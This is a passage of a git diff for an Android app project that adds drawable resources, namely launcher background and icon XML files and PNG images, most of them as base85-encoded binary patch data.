zi%N?LC>)TJKU0KtFBg|rQNhYayxhh~I(&rX&M|E?q6JO~K-LP6SU_$MV)hr#e}K@g zOSR?KKT0!i^iVmqo8{0txlP)ng18)tig6gHA3F`_v2VYi1j76lod3UfrKu$1c`iXq zUSrcRBA=hSQP&0sD|&eB9zWd|HqC-KMd19ein3Br?>wL zVy%BG2K%4<`ac&R&iXs6Qvbup{kaZIe=kw~zstBkMd<%`ID7xf@BF77$$tlC`mg@Z ze+>rvTiEPB^!1-W0pK+L1PTBc`Uw;OaP$)>03hZkQ1~6p`~(VFQDi@X0-)3Q6DR=S d + + diff --git a/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml b/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/source code/apk src code v3/app/src/main/res/drawable/icon.png b/source code/apk src code v3/app/src/main/res/drawable/icon.png new file mode 100644 index 0000000000000000000000000000000000000000..37dce8ab3dcb449a3f608dfd19ba835b73e78ee7 GIT binary patch literal 14488 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 R{c%WQVql@)uIrKT{{TF+L74ym literal 0 HcmV?d00001 diff --git a/source code/apk src code v3/app/src/main/res/drawable/mpt.xml b/source code/apk src code v3/app/src/main/res/drawable/mpt.xml new file mode 100644 index 0000000..f5ec26e --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/drawable/mpt.xml @@ -0,0 +1,10 @@ + + + + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/drawable/settings.png b/source code/apk src code v3/app/src/main/res/drawable/settings.png new file mode 100644 index 0000000000000000000000000000000000000000..6cff865723c8cc407f423e695fac8811f41007a9 GIT binary patch literal 56473 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 